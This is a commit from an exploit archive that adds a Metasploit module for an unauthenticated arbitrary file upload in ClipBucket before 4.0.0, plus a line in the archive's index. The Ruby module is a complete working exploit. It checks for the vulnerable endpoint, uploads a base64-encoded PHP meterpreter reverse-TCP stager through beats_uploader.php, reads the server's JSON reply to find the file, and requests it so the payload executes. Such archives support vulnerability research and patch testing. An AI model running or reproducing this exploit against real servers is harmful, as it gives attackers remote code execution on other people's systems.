DB: 2018-03-28

1 changes to exploits/shellcodes

ClipBucket - beats_uploader Unauthenticated Arbitrary File Upload (Metasploit)
This commit is contained in:
Offensive Security 2018-03-28 05:01:48 +00:00
parent 285f79e70e
commit 74e4743579
2 changed files with 150 additions and 0 deletions

149
exploits/php/webapps/44346.rb Executable file
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@ -0,0 +1,149 @@
##
# This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload",
'Description' => %q{
This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902).
A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability.
It is possible for an attacker to upload a malicious script to issue operating system commands.
This issue is caused by improper session handling in /action/beats_uploader.php file.
This module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux.
},
'License' => MSF_LICENSE,
'Author' =>
[
'www.sec-consult.com', # Vulnerability Discovery, PoC
'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit module
],
'References' =>
[
[ 'EDB', '44250' ]
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Clipbucket < 4.0.0 - Release 4902', {}]
],
'Privileged' => false,
'DisclosureDate' => "Mar 03 2018",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])
])
end
def uri
return target_uri.path
end
def check
vprint_status('Trying to detect ClipBucket on target.')
# check for readme file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'readme')
})
unless res
vprint_error('Connection failed')
return CheckCode::Unknown
end
unless res.code == 200 && res.body.include?('ClipBucket')
vprint_error('Could not find readme')
return CheckCode::Safe
end
# check for beats_uploader.php file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php')
})
unless res
vprint_error('Connection failed')
return CheckCode::Unknown
end
unless res.code == 200
vprint_error('Could not find beats_uploader.php')
return CheckCode::Safe
end
Exploit::CheckCode::Appears
end
def exploit
# generate the PHP meterpreter payload
stager = '<?php '
stager << payload.encode
stager << '?>'
# Setting POST data
post_data = Rex::MIME::Message.new
post_data.add_part(stager, content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = 'form-data; name="file"; filename="pfile.php"') # payload
post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="plupload"') # require for uploading
post_data.add_part('agent22.php', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="name"')
data = post_data.to_s
print_status('Uploading payload..')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php'),
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
jsonres = res.get_json_document
# If the server returns 200 and success yes, we assume we uploaded the malicious
# file successfully
unless res && res.code == 200 && jsonres['success'] == 'yes'
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
end
print_good('Looking For Payload..')
pdir = jsonres['file_directory']
file_name = jsonres['file_name']
pext = jsonres['extension']
print_good("found payload in /actions/#{pdir}/#{file_name}.#{pext}")
# Payload name
pname = "#{file_name}.php"
# Cleanup is Good Idea .
register_files_for_cleanup(pname)
print_status("Executing Payload [ #{uri}/actions/#{pdir}/#{pname} ]" )
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'actions', pdir, pname)
})
# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either.
if res && res.code != 200
print_error('Unexpected response, probably the exploit failed')
end
end
end

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@ -39043,6 +39043,7 @@ id,file,description,date,author,type,platform,port
44318,exploits/php/webapps/44318.txt,"Vehicle Sales Management System - Multiple Vulnerabilities",2018-03-20,Sing,webapps,php,
44324,exploits/multiple/webapps/44324.py,"Cisco node-jos < 0.11.0 - Re-sign Tokens",2018-03-20,zioBlack,webapps,multiple,
44328,exploits/xml/webapps/44328.py,"Hikvision IP Camera versions 5.2.0 - 5.3.9 (Builds 140721 < 170109) - Access Control Bypass",2018-03-23,Matamorphosis,webapps,xml,
44346,exploits/php/webapps/44346.rb,"ClipBucket - beats_uploader Unauthenticated Arbitrary File Upload (Metasploit)",2018-03-27,Metasploit,webapps,php,
44335,exploits/hardware/webapps/44335.js,"TL-WR720N 150Mbps Wireless N Router - Cross-Site Request Forgery",2018-03-23,"Mans van Someren",webapps,hardware,
44336,exploits/php/webapps/44336.py,"XenForo 2 - CSS Loader Denial of Service",2018-03-23,LockedByte,webapps,php,
44339,exploits/php/webapps/44339.txt,"MyBB Plugin Last User's Threads in Profile Plugin 1.2 - Persistent Cross-Site Scripting",2018-03-23,0xB9,webapps,php,

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